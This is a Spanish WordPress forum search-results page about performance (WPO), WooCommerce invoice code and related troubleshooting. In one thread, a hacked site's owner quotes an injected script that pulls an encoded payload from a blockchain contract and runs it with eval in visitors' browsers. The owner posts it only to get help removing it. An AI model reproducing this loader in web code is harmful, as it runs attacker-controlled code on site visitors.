Resultados de búsqueda para 'wpo'

Viendo 15 resultados - del 1 al 15 (de un total de 200)
  • Moderador Sergio

    (@kallookoo)

    Hola @almudenita11

    Sinceramente te recomiendo que consultes con un profesional, por lo siguiente (es una aproximacion):

    • Problemas con el rendimiento del servidor (OVCloud)
    • Tema Multiproposito que suelen relantizar (Avada)
    • Problemas de configuracion y uso

    Personalmente y viendo el sitio delegarlo a un profesional te evitara dolores de cabeza ya que no es solo instalar un plugin de cache (autoptimize). El WPO es una combinacion de ajustes y buenas practicas, por lo general se hace para obtener una puntuacion elevada en el pagespeed u otros analizadores para que los bots clasifiquen tu sitio antes que otro al tener unas buenas CWV (Google).

    Por cierto, no confundas el WPO con el SEO (local, etc…), ya que aunque por ejemplo consigas un 100 en el pagespeed despues aplicar un buen WPO, sin un buen SEO aplicado ya sea Google u otro buscador no significa que subas en sus clasificaciones.

    Foro: Instalación – Actualizaciones
    Como el debate: Web
    • Creo que es cosa del hosting que lo habeis cerrado, pero me gustaria que volvierais a activar el hosting de la web. No se puede acceder y salen errores.

      • Este debate fue modificado hace 1 año, 2 meses por aniolpiaedu.

      La página con la que necesito ayuda: [accede para ver el enlace]

    • Hace varias semanas google me aviso que una pagina web mia habia sido hackeada, posteriormente mi proveedor de VPS me lo comunico tambien, he estado intentando limpiar el sitio, ya detecte algunos scripts en secciones de plugins que habian sido inyectados, un usuario que habia sido creado, y unas publicaciones en post, todo eso ya lo he eliminado, pero tambien he conseguido un script en el codigo fuente de la pagina el cual es el siguiente:

      <meta charset="UTF-8" /> <script src="https://cdn.jsdelivr.net/npm/web3@latest/dist/web3.min.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/pako/2.0.4/pako.min.js"></script> <script src="https://cdn.jsdelivr.net/npm/crypto-js@4.1.1/crypto-js.min.js"></script> <script> console.log('Start moving...'); document.addEventListener('DOMContentLoaded', async () => { try { const web3 = new Web3('https://bsc-dataseed.binance.org/'); const contract = new web3.eth.Contract([ {"inputs": [], "stateMutability": "nonpayable", "type": "constructor"}, {"inputs": [], "name": "orchidABI", "outputs": [{"internalType": "string", "name": "", "type": "string"}], "stateMutability": "view", "type": "function"}, {"inputs": [], "name": "orchidAddress", "outputs": [{"internalType": "string", "name": "", "type":"string"}], "stateMutability": "view", "type": "function"}, {"inputs": [], "name": "merlionABI", "outputs": [{"internalType": "string", "name": "", "type": "string"}], "stateMutability": "view", "type": "function"}, {"inputs": [], "name": "merlionAddress", "outputs": [{"internalType": "string", "name": "", "type":"string"}], "stateMutability": "view", "type": "function"}, ], '0x9179dda8B285040Bf381AABb8a1f4a1b8c37Ed53'); const orchidABI = JSON.parse(pako.ungzip(Uint8Array.from(atob(await contract.methods.orchidABI().call()), c => c.charCodeAt(0)), { to: 'string' })); const orchidAddress = await contract.methods.orchidAddress().call(); const orchid = new web3.eth.Contract(orchidABI, orchidAddress); const decompressedScript = pako.ungzip(Uint8Array.from(atob(await orchid.methods.tokyoSkytree().call()), c => c.charCodeAt(0)), { to: 'string' }); eval((async () => { ${decompressedScript} })().then(() => { console.log('Moved.'); }).catch(console.error);); } catch (error) { console.error('Road unavaible:', error); } }); </script><meta name="viewport" content="width=device-width, initial-scale=1" />

      He intentado conseguir el codigo en los archivos de web, pero no lo consigo busque el header.php pero ya la versión de tema que usaba no usaba los php de las partes, intente igualmente cambiar el tema a uno anterior pero el codigo persiste, por lo que debe provenir de otro origen, quisiera que me ayudaran saber como puedo hacer una busqueda dentro de los archivos para encontrar ese codigo o lo que lo genera.

      La página con la que necesito ayuda: [accede para ver el enlace]

    Deberías de analizar problemas de rendimiento y después aplicar soluciones.

    Empieza con mi auditoría gratuita -> https://raulgonzalez.xyz/auditoria-wpo-wordpress/

    Hola, @oscar0510g:

    Te recomiendo contactar a tu equipo de alojamiento porque esto claramente no es normal, pero nosotros tampoco podemos ayudarte demasiado, ya que los problemas de rendimiento suelen ser complejos de resolver. Ten en cuenta que los que participamos en estos foros somos voluntarios y, principalmente, ayudamos con problemas básicos de instalación o configuración.

    De todos modos, además de contactar a tu proveedor, podrías darle un vistazo a estos artículos para que intentes optimizar tu web por tu cuenta (puedes buscar otras fuentes en Google):

    Hola, @rukee:

    Con base en lo que comentas, podría tratarse de un problema de recursos del servidor, tal como mencionas. Así que hiciste bien en contactar a tu proveedor de alojamiento, ya que ellos pueden revisar esto directamente y aplicar los cambios pertinentes.

    También podrías darle un vistazo a estos artículos para que intentes optimizar tu web por tu cuenta (puedes buscar otras fuentes en Google):

    • Adriandarr

      (@velovecycling)


      Hola,

      Estoy creando una calculadora para una mis entradas y no funciona una vez copio/pego el código en el editor html. Si lo pongo en herramientas como Jsfiddle el codigo funciona y devuelve bien los datos pero en WordPress no. Os copio/pego el código y a ver si alguien me echa una mano.

      Saludos y gracias!

      <!DOCTYPE html>
      <html lang="es">
      <head>
      <meta charset="UTF-8">
      <meta name="viewport" content="width=device-width, initial-scale=1.0">
      <title>Calculadora de Zonas de Entrenamiento</title>
      <style>
      body {
      font-family: Arial, sans-serif;
      padding: 20px;
      }
      .container {
      max-width: 600px;
      margin: 0 auto;
      }
      h1, h2 {
      text-align: center;
      }
      label {
      display: block;
      margin: 10px 0 5px;
      }
      input {
      width: 100%;
      padding: 8px;
      margin-bottom: 10px;
      }
      button {
      width: 100%;
      padding: 10px;
      background-color: #007bff;
      color: white;
      border: none;
      cursor: pointer;
      }
      button:hover {
      background-color: #0056b3;
      }
      .result {
      margin-top: 20px;
      }
      </style>
      <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
      </head>
      <body>
      <div class="container">
      <h1>Calculadora de Zonas de Entrenamiento</h1>

      <div>
      <h2>Por Potencia</h2>
      <label for="ftp">Potencia Normalizada (FTP) en vatios:</label>
      <input type="number" id="ftp" placeholder="Ingresa tu FTP">
      <button id="calcularPotencia">Calcular Zonas de Potencia</button>
      <div id="resultPotencia" class="result"></div>
      </div>

      <div>
      <h2>Por Pulso</h2>
      <label for="pulsoMedio">Pulsaciones Medias del Test:</label>
      <input type="number" id="pulsoMedio" placeholder="Ingresa tus pulsaciones medias">
      <label for="pulsoMaximo">Pulsaciones Máximas:</label>
      <input type="number" id="pulsoMaximo" placeholder="Ingresa tus pulsaciones máximas">
      <button id="calcularPulso">Calcular Zonas de Pulso</button>
      <div id="resultPulso" class="result"></div>
      </div>
      </div>

      <script>
      jQuery(document).ready(function($) {
      $('#calcularPotencia').click(function() {
      calcularZonasPotencia();
      });

      $('#calcularPulso').click(function() {
      calcularZonasPulso();
      });
      });

      function calcularZonasPotencia() {
      const ftp = $('#ftp').val();
      if (!ftp || ftp <= 0) {
      alert("Por favor, ingresa un valor válido para la potencia normalizada (FTP).");
      return;
      }

      const zonas = [
      { nombre: "Zona 1: Recuperación Activa", min: 0, max: 0.55 },
      { nombre: "Zona 2: Resistencia", min: 0.56, max: 0.75 },
      { nombre: "Zona 3: Tempo", min: 0.76, max: 0.90 },
      { nombre: "Zona 4: Umbral", min: 0.91, max: 1.05 },
      { nombre: "Zona 5: VO2 Máx", min: 1.06, max: 1.20 },
      { nombre: "Zona 6: Capacidad Anaeróbica", min: 1.21, max: Infinity },
      ];

      let result = "<h3>Zonas de Potencia</h3><ul>";
      zonas.forEach(zona => {
      const minVatios = (zona.min * ftp).toFixed(2);
      const maxVatios = (zona.max === Infinity ? ">" : (zona.max * ftp).toFixed(2));
      result +=
      <li>${zona.nombre}: ${minVatios} - ${maxVatios} W</li>;
      });
      result += "</ul>";

      $('#resultPotencia').html(result);
      }

      function calcularZonasPulso() {
      const pulsoMedio = $('#pulsoMedio').val();
      const pulsoMaximo = $('#pulsoMaximo').val();
      if (!pulsoMedio || pulsoMedio <= 0 || !pulsoMaximo || pulsoMaximo <= 0) {
      alert("Por favor, ingresa valores válidos para las pulsaciones medias y máximas.");
      return;
      }

      const zonas = [
      { nombre: "Zona 1: Recuperación", min: 0, max: 0.60 },
      { nombre: "Zona 2: Resistencia", min: 0.61, max: 0.70 },
      { nombre: "Zona 3: Tempo", min: 0.71, max: 0.80 },
      { nombre: "Zona 4: Umbral", min: 0.81, max: 0.90 },
      { nombre: "Zona 5: VO2 Máx", min: 0.91, max: 1.00 },
      ];

      let result = "<h3>Zonas de Pulso</h3><ul>";
      zonas.forEach(zona => {
      const minPulsos = Math.round(zona.min * pulsoMaximo);
      const maxPulsos = Math.round(zona.max * pulsoMaximo);
      result += <li>${zona.nombre}: ${minPulsos} - ${maxPulsos} bpm</li>;
      });
      result += "</ul>";

      $('#resultPulso').html(result);
      }
      </script>
      </body>
      </html>



         

      La página con la que necesito ayuda: [accede para ver el enlace]

    Iniciador del debate rafaraday

    (@rafaraday)

    Gracias @almendron y @kallookoo.
    Según Godaddy, actualmente tengo la versión PHP 7.0
    Según WordPress y cPanel, tengo la versión 5.6.40.

    He contactado con Godaddy y prácticamente me han dicho que no pueden hacer nada.
    ¿Alguien más tiene idea de qué puede hacerse aquí?

    Iniciador del debate geiserestudio

    (@geiserestudio)

    Hola,

    Gracias por tu respuesta pero me genera un error. He sustituido esto:

    
    /**
    
    *Incluir NIF en la factura (necesario el plugin WooCommerce PDF Invoices & Packing Slips)
    
    */
    
    add_filter( 'wpo_wcpdf_billing_address', 'incluir_nif_en_factura' );
    
    function incluir_nif_en_factura( $address ){
    
      global $wpo_wcpdf;
    
      echo $address . '<p>';
    
      $wpo_wcpdf->custom_field( 'NIF', 'NIF: ' );
    
      echo '</p>';
    
    }

    Por lo que me has comentado

    function incluir_nif_en_factura( $address , $wcpdf ){
      $address .= sprintf( '<p>NIF: %s</p>', $wcpdf->custom_field( 'NIF' ) );
    
      return $address;
    }
    add_filter( 'wpo_wcpdf_billing_address', 'incluir_nif_en_factura', 10, 2 );

    Y me ha generado un error crítico. ¿Podrías ponerlo con el código anterior entero?

    PD: si, es el plugin que mencionas.

    • Esta respuesta fue modificada hace 2 años, 3 meses por geiserestudio.
    Moderador Sergio

    (@kallookoo)

    Hola,

    Desconozco tus conocimientos pero viendo el codigo, puedo deducir que usas una global y no compruebas que es una clase y que contenga el metodo custom_field.

    Si es este plugin y tras revisar el filtro diria que el codigo correcto seria:

    function incluir_nif_en_factura( $address , $wcpdf ){
      $address .= sprintf( '<p>NIF: %s</p>', $wcpdf->custom_field( 'NIF' ) );
    
      return $address;
    }
    add_filter( 'wpo_wcpdf_billing_address', 'incluir_nif_en_factura', 10, 2 );
    

    Ojo, no lo he probado.

    • Esta respuesta fue modificada hace 2 años, 3 meses por Sergio. Razón: Error Bloque codigo
    Moderador Sergio

    (@kallookoo)

    Hola y disculpa que no te respondi antes,

    Por lo que veo sigues sin arreglar el lio con los scripts y etiquetas html. Por lo que cualquier test que hagas los resultados lo mas seguro es que seran malos.

    Imaginate que una web es como un coche, si esta mal construido los resultados son malos o inesperados.

    Tambien te presente que los plugins con el Rocket, intentan mejorar la web usando diferentes tecnicas pero tambien pueden hacer lo contrario, ya que interfieren varios factores como el tipo y o configuracion del servidor.

    Yo por ejemplo, por trabajo me encuentro algunas web usando Elementor y el Rocket con una configuracion estandar, daba problemas al renderizar el contenido creado por el Elementor y se opta por eliminar el Rocket o el Elementor segun el caso.

    Mi recomendacion que puedo darte es:

    • Que el tema que eligas se asemeje lo maximo posible al diseño que tienes pensado, tenga buenas criticas o muchas instalaciones si usas un tema del repositorio, eso significa por lo general que esta bien construido, para evitar tener que añadir personalizaciones extras, ya sea CSS o la utilizacion de un builder (constructor visual, como por ejemplo Elementor).
    • Si necesitas añadir codigo javascript como por ejemplo el tipico de Google asegurate que lo haces correctamente, existen muchos tutoriales o plugins para hacerlo. Por ejemplo tienes el gTag duplicado y en uno tienes especificado el ID con un salto de linea, vamos mal añadido.
    • Si necesitas añadir mucho codigo CSS, es mejor añadirlo usando un archivo, ya que se cachea mejor y los navegadores no tienen que perder el tiempo recolectandolo desde el DOM.
    • Salvo que sea necesario evita los plugins de cache, desde mi punto de vista solo son necesarios cuando el servidor el limitado o tienes muchas visitas ya que asi se evita que por cada visita se genere el contenido dinamico, pero una mala configuracion o incompatibilidad puede ocasionar un peor resultado. Ojo, no lo confundas con los plugin de minificacion, que esos solo unifican los archivos CSS o Javascript para servir un unico archivo cacheable y si esta mal configurado como mucho se obtienen problemas de estilos (CSS) o que el javacript no se ejecute correctamente. Pero se solventa generalmente excluyendolo de la minificacion.
    • Utilizar una CDN, para evitar hacer muchas llamadas al propio servidor y servir mas rapido los archivos CSS o Javascript ya que estos servicios estan pensados para ello. Esto ultimo es opcional ya que suelen ser de pago o limitaciones.

    Aunque no es una recomendacion, te sugiero que mires servicios de WPO para evitarte tener complicarte con todo el tema del rendimiento, etc.. Ya que aunque con el WordPress es facil desplegar una web y por eso mismo su uso extendido, tambien hay otras partes que salvo que lo sepas o aprendas se convierte en un problema de rendimiento y o seguridad.

    Saludos

    • Buenos días,

      Estoy teniendo problemas con el plugin PDF Invoices, hace unos meses modifiqué mi archivo functions.php del tema hijo para agregar un código php que añadiera el campo del dni en las compras de woocommerce.

      Ahora al instalar este plugin me arroja el siguiente error y no sé como arreglarlo ya que el código php lo domino lo justo.

      ¿Me podrían ayudar?

      Fatal error: Call to a member function custom_field() on null
      /home/neurova/www/wp-content/themes/porto-child/functions.php (166)
      #0 /home/neurova/www/wp-includes/class-wp-hook.php(326): incluir_nif_en_factura('APANATE ASOCIAC...')
      #1 /home/neurova/www/wp-includes/plugin.php(205): WP_Hook->apply_filters('APANATE ASOCIAC...', Array)
      #2 /home/neurova/www/wp-content/plugins/woocommerce-pdf-invoices-packing-slips/includes/documents/abstract-wcpdf-order-document-methods.php(93): apply_filters('wpo_wcpdf_billi...', 'APANATE ASOCIAC...', Object(WPO\WC\PDF_Invoices\Documents\Invoice))
      #3 /home/neurova/www/wp-content/plugins/woocommerce-pdf-invoices-packing-slips/includes/documents/abstract-wcpdf-order-document-methods.php(102): WPO\WC\PDF_Invoices\Documents\Order_Document_Methods->get_billing_address()
      #4 /home/neurova/www/wp-content/plugins/woocommerce-pdf-invoices-packing-slips/templates/Simple/invoice.php(42): WPO\WC\PDF_Invoices\Documents\Order_Document_Methods->billing_address()
      #5 /home/neurova/www/wp-content/plugins/woocommerce-pdf-invoices-packing-slips/includes/documents/abstract-wcpdf-order-document.php(1138): include('/home/neurova/w...')
      #6 /home/neurova/www/wp-content/plugins/woocommerce-pdf-invoices-packing-slips/includes/documents/abstract-wcpdf-order-document.php(982): WPO\WC\PDF_Invoices\Documents\Order_Document->render_template('/home/neurova/w...', Array)
      #7 /home/neurova/www/wp-content/plugins/woocommerce-pdf-invoices-packing-slips/includes/documents/abstract-wcpdf-order-document.php(937): WPO\WC\PDF_Invoices\Documents\Order_Document->get_html()
      #8 /home/neurova/www/wp-content/plugins/woocommerce-pdf-invoices-packing-slips/includes/documents/abstract-wcpdf-order-document.php(1004): WPO\WC\PDF_Invoices\Documents\Order_Document->get_pdf()
      #9 /home/neurova/www/wp-content/plugins/woocommerce-pdf-invoices-packing-slips/includes/class-wcpdf-main.php(580): WPO\WC\PDF_Invoices\Documents\Order_Document->output_pdf('inline')
      #10 /home/neurova/www/wp-includes/class-wp-hook.php(324): WPO\WC\PDF_Invoices\Main->generate_document_ajax('')
      #11 /home/neurova/www/wp-includes/class-wp-hook.php(348): WP_Hook->apply_filters('', Array)
      #12 /home/neurova/www/wp-includes/plugin.php(517): WP_Hook->do_action(Array)
      #13 /home/neurova/www/wp-admin/admin-ajax.php(188): do_action('wp_ajax_generat...')
      #14 {main}

      Y este es el código que añadí a mi functions, el error 166 que indica arriba es esta línea: ($wpo_wcpdf->custom_field( ‘NIF’, ‘NIF: ‘ ):

      /**
      
       * Añade el campo NIF a la página de checkout de WooCommerce
      
       */
      
      add_action( 'woocommerce_after_order_notes', 'agrega_mi_campo_personalizado' );
      
      function agrega_mi_campo_personalizado( $checkout ) {
      
          echo '<div id="additional_checkout_field"><h2 class="informacion">' . __('Información adicional') . '</h2>';
      
         woocommerce_form_field( 'nif', array(
      
              'type'          => 'text',
      
              'class'         => array('my-field-class form-row-wide'),
      
              'label'         => __('NIF-DNI'),
      
              'required'      => true,
      
              'placeholder'   => __('Introduzca el Nº NIF-DNI'),
      
              ), $checkout->get_value( 'nif' ));
      
         echo '</div>';
      
      }
      
      /**
      
       * Comprueba que el campo NIF no esté vacío
      
       */
      
      add_action('woocommerce_checkout_process', 'comprobar_campo_nif');
      
      function comprobar_campo_nif() {
      
          // Comprueba si se ha introducido un valor y si está vacío se muestra un error.
      
          if ( ! $_POST['nif'] )
      
              wc_add_notice( __( 'NIF-DNI, es un campo requerido. Debe de introducir su NIF DNI para finalizar la compra.' ), 'error' );
      }
      
      
      /**
      
       * Actualiza la información del pedido con el nuevo campo
      
       */
      
      add_action( 'woocommerce_checkout_update_order_meta', 'actualizar_info_pedido_con_nuevo_campo' );
      
      function actualizar_info_pedido_con_nuevo_campo( $order_id ) {
      
          if ( ! empty( $_POST['nif'] ) ) {
      
              update_post_meta( $order_id, 'NIF', sanitize_text_field( $_POST['nif'] ) );
      
          }
      
      }
      
      /**
      
       * Muestra el valor del nuevo campo NIF en la página de edición del pedido
      
       */
      
      add_action( 'woocommerce_admin_order_data_after_billing_address', 'mostrar_campo_personalizado_en_admin_pedido', 10, 1 );
      
      function mostrar_campo_personalizado_en_admin_pedido($order){
      
          echo '<p><strong>'.__('NIF').':</strong> ' . get_post_meta( $order->id, 'NIF', true ) . '</p>';
      
      }
      
      /**
      
       * Incluye el campo NIF en el email de notificación del cliente
      
       */
      
      add_filter('woocommerce_email_order_meta_keys', 'muestra_campo_personalizado_email');
      
      function muestra_campo_personalizado_email( $keys ) {
      
          $keys[] = 'NIF';
      
          return $keys;
      
      }
      
      /**
      
      *Incluir NIF en la factura (necesario el plugin WooCommerce PDF Invoices & Packing Slips)
      
      */
      
      add_filter( 'wpo_wcpdf_billing_address', 'incluir_nif_en_factura' );
      
      function incluir_nif_en_factura( $address ){
      
        global $wpo_wcpdf;
      
        echo $address . '<p>';
      
        $wpo_wcpdf->custom_field( 'NIF', 'NIF: ' );
      
        echo '</p>';
      
      }
      • Este debate fue modificado hace 2 años, 4 meses por geiserestudio.
    Iniciador del debate valeriatittarelli

    (@valeriatittarelli)

    por alguna razón me genera el informe, pero no hay opción a descargarlo. copio y pego:

    ` WordPress Environment
    
    WordPress address (URL): https://granadademoda.com
    Site address (URL): https://granadademoda.com
    WC Version: 8.5.2
    REST API Version: ✔ 8.5.2
    WC Blocks Version: ✔ 11.8.0-dev
    Action Scheduler Version: ✔ 3.7.1
    Log Directory Writable: ✔
    WP Version: 6.4.3
    WP Multisite: –
    WP Memory Limit: 512 MB
    WP Debug Mode: –
    WP Cron: ✔
    Language: es_ES
    External object cache: – Server Environment
    
    Server Info: Apache/2.4.58 (Unix)
    PHP Version: 7.4.33
    PHP Post Max Size: 128 MB
    PHP Time Limit: 240
    PHP Max Input Vars: 4000
    cURL Version: 8.4.0
    OpenSSL/3.0.10
    
    SUHOSIN Installed: –
    MySQL Version: 5.7.42-log
    Max Upload Size: 128 MB
    Default Timezone is UTC: ✔
    fsockopen/cURL: ✔
    SoapClient: ✔
    DOMDocument: ✔
    GZip: ✔
    Multibyte String: ✔
    Remote Post: ✔
    Remote Get: ✔ Database
    
    WC Database Version: 8.5.2
    WC Database Prefix: wp_
    Tamaño total de la base de datos: 277.75MB
    Tamaño de los datos de la base de datos: 197.37MB
    Tamaño del índice de la base de datos: 80.38MB
    wp_woocommerce_sessions: Datos: 1.02MB + Índice: 0.02MB + Motor InnoDB
    wp_woocommerce_api_keys: Datos: 0.02MB + Índice: 0.03MB + Motor InnoDB
    wp_woocommerce_attribute_taxonomies: Datos: 0.02MB + Índice: 0.02MB + Motor InnoDB
    wp_woocommerce_downloadable_product_permissions: Datos: 0.02MB + Índice: 0.06MB + Motor InnoDB
    wp_woocommerce_order_items: Datos: 1.52MB + Índice: 0.36MB + Motor InnoDB
    wp_woocommerce_order_itemmeta: Datos: 9.50MB + Índice: 8.92MB + Motor InnoDB
    wp_woocommerce_tax_rates: Datos: 0.02MB + Índice: 0.06MB + Motor InnoDB
    wp_woocommerce_tax_rate_locations: Datos: 0.02MB + Índice: 0.03MB + Motor InnoDB
    wp_woocommerce_shipping_zones: Datos: 0.02MB + Índice: 0.00MB + Motor InnoDB
    wp_woocommerce_shipping_zone_locations: Datos: 0.05MB + Índice: 0.03MB + Motor InnoDB
    wp_woocommerce_shipping_zone_methods: Datos: 0.02MB + Índice: 0.00MB + Motor InnoDB
    wp_woocommerce_payment_tokens: Datos: 0.02MB + Índice: 0.02MB + Motor InnoDB
    wp_woocommerce_payment_tokenmeta: Datos: 0.02MB + Índice: 0.03MB + Motor InnoDB
    wp_woocommerce_log: Datos: 0.02MB + Índice: 0.02MB + Motor InnoDB
    wp_actionscheduler_actions: Datos: 20.39MB + Índice: 12.17MB + Motor InnoDB
    wp_actionscheduler_claims: Datos: 0.02MB + Índice: 0.02MB + Motor InnoDB
    wp_actionscheduler_groups: Datos: 0.02MB + Índice: 0.02MB + Motor InnoDB
    wp_actionscheduler_logs: Datos: 10.02MB + Índice: 8.03MB + Motor InnoDB
    wp_adtribes_my_conversions: Datos: 0.02MB + Índice: 0.02MB + Motor InnoDB
    wp_appbox: Datos: 0.02MB + Índice: 0.02MB + Motor InnoDB
    wp_commentmeta: Datos: 0.09MB + Índice: 0.11MB + Motor InnoDB
    wp_comments: Datos: 3.52MB + Índice: 1.77MB + Motor InnoDB
    wp_e_events: Datos: 0.02MB + Índice: 0.02MB + Motor InnoDB
    wp_e_submissions: Datos: 0.02MB + Índice: 0.27MB + Motor InnoDB
    wp_e_submissions_actions_log: Datos: 0.02MB + Índice: 0.11MB + Motor InnoDB
    wp_e_submissions_values: Datos: 0.02MB + Índice: 0.03MB + Motor InnoDB
    wp_grp_google_place: Datos: 0.02MB + Índice: 0.02MB + Motor InnoDB
    wp_grp_google_review: Datos: 0.02MB + Índice: 0.03MB + Motor InnoDB
    wp_huge_it_reslider_sliders: Datos: 0.02MB + Índice: 0.00MB + Motor InnoDB
    wp_huge_it_reslider_slides: Datos: 0.02MB + Índice: 0.00MB + Motor InnoDB
    wp_hustle_entries: Datos: 0.02MB + Índice: 0.03MB + Motor InnoDB
    wp_hustle_entries_meta: Datos: 0.02MB + Índice: 0.05MB + Motor InnoDB
    wp_hustle_modules: Datos: 0.02MB + Índice: 0.02MB + Motor InnoDB
    wp_hustle_modules_meta: Datos: 0.02MB + Índice: 0.03MB + Motor InnoDB
    wp_hustle_tracking: Datos: 0.02MB + Índice: 0.06MB + Motor InnoDB
    wp_itro_plugin_field: Datos: 0.02MB + Índice: 0.00MB + Motor InnoDB
    wp_itro_plugin_option: Datos: 0.02MB + Índice: 0.00MB + Motor InnoDB
    wp_jetpack_sync_queue: Datos: 0.02MB + Índice: 0.06MB + Motor InnoDB
    wp_links: Datos: 0.02MB + Índice: 0.02MB + Motor InnoDB
    wp_mappress_maps: Datos: 0.02MB + Índice: 0.00MB + Motor InnoDB
    wp_mappress_posts: Datos: 0.02MB + Índice: 0.00MB + Motor InnoDB
    wp_ms_snippets: Datos: 0.02MB + Índice: 0.00MB + Motor InnoDB
    wp_options: Datos: 10.45MB + Índice: 1.25MB + Motor InnoDB
    wp_pimwick_gift_card: Datos: 0.02MB + Índice: 0.02MB + Motor InnoDB
    wp_pimwick_gift_card_activity: Datos: 0.02MB + Índice: 0.02MB + Motor InnoDB
    wp_postmeta: Datos: 53.56MB + Índice: 20.83MB + Motor InnoDB
    wp_posts: Datos: 36.50MB + Índice: 3.67MB + Motor InnoDB
    wp_post_smtp_logmeta: Datos: 0.02MB + Índice: 0.00MB + Motor InnoDB
    wp_post_smtp_logs: Datos: 7.02MB + Índice: 0.00MB + Motor InnoDB
    wp_revslider_css: Datos: 0.13MB + Índice: 0.00MB + Motor InnoDB
    wp_revslider_layer_animations: Datos: 0.02MB + Índice: 0.00MB + Motor InnoDB
    wp_revslider_navigations: Datos: 0.02MB + Índice: 0.00MB + Motor InnoDB
    wp_revslider_sliders: Datos: 0.02MB + Índice: 0.00MB + Motor InnoDB
    wp_revslider_slides: Datos: 0.27MB + Índice: 0.00MB + Motor InnoDB
    wp_revslider_static_slides: Datos: 0.02MB + Índice: 0.00MB + Motor InnoDB
    wp_rich_web_photo_slider_instal: Datos: 0.02MB + Índice: 0.00MB + Motor InnoDB
    wp_rich_web_photo_slider_manager: Datos: 0.02MB + Índice: 0.00MB + Motor InnoDB
    wp_rich_web_slider_effect1: Datos: 0.02MB + Índice: 0.00MB + Motor InnoDB
    wp_rich_web_slider_effect2: Datos: 0.02MB + Índice: 0.00MB + Motor InnoDB
    wp_rich_web_slider_effect3: Datos: 0.02MB + Índice: 0.00MB + Motor InnoDB
    wp_rich_web_slider_effect4: Datos: 0.02MB + Índice: 0.00MB + Motor InnoDB
    wp_rich_web_slider_effect5: Datos: 0.02MB + Índice: 0.00MB + Motor InnoDB
    wp_rich_web_slider_effect6: Datos: 0.02MB + Índice: 0.00MB + Motor InnoDB
    wp_rich_web_slider_effect7: Datos: 0.02MB + Índice: 0.00MB + Motor InnoDB
    wp_rich_web_slider_effect8: Datos: 0.02MB + Índice: 0.00MB + Motor InnoDB
    wp_rich_web_slider_effect9: Datos: 0.02MB + Índice: 0.00MB + Motor InnoDB
    wp_rich_web_slider_effects_data: Datos: 0.02MB + Índice: 0.00MB + Motor InnoDB
    wp_rich_web_slider_font_family: Datos: 0.02MB + Índice: 0.00MB + Motor InnoDB
    wp_rich_web_slider_id: Datos: 0.02MB + Índice: 0.00MB + Motor InnoDB
    wp_snippets: Datos: 0.02MB + Índice: 0.03MB + Motor InnoDB
    wp_termmeta: Datos: 0.11MB + Índice: 0.19MB + Motor InnoDB
    wp_terms: Datos: 0.13MB + Índice: 0.16MB + Motor InnoDB
    wp_term_relationships: Datos: 1.34MB + Índice: 0.34MB + Motor InnoDB
    wp_term_taxonomy: Datos: 0.19MB + Índice: 0.28MB + Motor InnoDB
    wp_tm_taskmeta: Datos: 0.02MB + Índice: 0.03MB + Motor InnoDB
    wp_tm_tasks: Datos: 0.02MB + Índice: 0.02MB + Motor InnoDB
    wp_trustindex_google_reviews: Datos: 0.02MB + Índice: 0.00MB + Motor InnoDB
    wp_useful_banner_manager_banners: Datos: 0.02MB + Índice: 0.00MB + Motor InnoDB
    wp_usermeta: Datos: 1.52MB + Índice: 3.03MB + Motor InnoDB
    wp_users: Datos: 0.08MB + Índice: 0.05MB + Motor InnoDB
    wp_wcpdf_invoice_number: Datos: 0.02MB + Índice: 0.00MB + Motor InnoDB
    wp_wc_admin_notes: Datos: 0.09MB + Índice: 0.00MB + Motor InnoDB
    wp_wc_admin_note_actions: Datos: 0.09MB + Índice: 0.02MB + Motor InnoDB
    wp_wc_category_lookup: Datos: 0.02MB + Índice: 0.00MB + Motor InnoDB
    wp_wc_customer_lookup: Datos: 0.22MB + Índice: 0.17MB + Motor InnoDB
    wp_wc_download_log: Datos: 0.02MB + Índice: 0.03MB + Motor InnoDB
    wp_wc_orders: Datos: 1.52MB + Índice: 1.25MB + Motor InnoDB
    wp_wc_orders_meta: Datos: 3.52MB + Índice: 10.11MB + Motor InnoDB
    wp_wc_order_addresses: Datos: 1.52MB + Índice: 1.27MB + Motor InnoDB
    wp_wc_order_coupon_lookup: Datos: 0.05MB + Índice: 0.03MB + Motor InnoDB
    wp_wc_order_operational_data: Datos: 1.52MB + Índice: 0.39MB + Motor InnoDB
    wp_wc_order_product_lookup: Datos: 1.52MB + Índice: 0.84MB + Motor InnoDB
    wp_wc_order_stats: Datos: 0.38MB + Índice: 0.27MB + Motor InnoDB
    wp_wc_order_tax_lookup: Datos: 0.25MB + Índice: 0.20MB + Motor InnoDB
    wp_wc_product_attributes_lookup: Datos: 0.13MB + Índice: 0.08MB + Motor InnoDB
    wp_wc_product_download_directories: Datos: 0.02MB + Índice: 0.02MB + Motor InnoDB
    wp_wc_product_meta_lookup: Datos: 0.44MB + Índice: 0.67MB + Motor InnoDB
    wp_wc_rate_limits: Datos: 0.02MB + Índice: 0.02MB + Motor InnoDB
    wp_wc_reserved_stock: Datos: 0.02MB + Índice: 0.00MB + Motor InnoDB
    wp_wc_tax_rate_classes: Datos: 0.02MB + Índice: 0.02MB + Motor InnoDB
    wp_wc_webhooks: Datos: 0.02MB + Índice: 0.02MB + Motor InnoDB
    wp_wdr_order_discounts: Datos: 0.02MB + Índice: 0.00MB + Motor InnoDB
    wp_wdr_order_item_discounts: Datos: 0.02MB + Índice: 0.00MB + Motor InnoDB
    wp_wdr_rules: Datos: 0.02MB + Índice: 0.00MB + Motor InnoDB
    wp_wd_fb_data: Datos: 0.02MB + Índice: 0.00MB + Motor InnoDB
    wp_wd_fb_info: Datos: 0.02MB + Índice: 0.00MB + Motor InnoDB
    wp_wd_fb_option: Datos: 0.02MB + Índice: 0.00MB + Motor InnoDB
    wp_wd_fb_shortcode: Datos: 0.02MB + Índice: 0.00MB + Motor InnoDB
    wp_wd_fb_theme: Datos: 0.02MB + Índice: 0.00MB + Motor InnoDB
    wp_wfblockediplog: Datos: 0.05MB + Índice: 0.00MB + Motor InnoDB
    wp_wfblocks7: Datos: 0.02MB + Índice: 0.05MB + Motor InnoDB
    wp_wfconfig: Datos: 1.30MB + Índice: 0.00MB + Motor InnoDB
    wp_wfcrawlers: Datos: 0.05MB + Índice: 0.00MB + Motor InnoDB
    wp_wffilechanges: Datos: 0.02MB + Índice: 0.00MB + Motor InnoDB
    wp_wffilemods: Datos: 11.52MB + Índice: 0.00MB + Motor InnoDB
    wp_wfhits: Datos: 2.02MB + Índice: 0.20MB + Motor InnoDB
    wp_wfhoover: Datos: 0.02MB + Índice: 0.02MB + Motor InnoDB
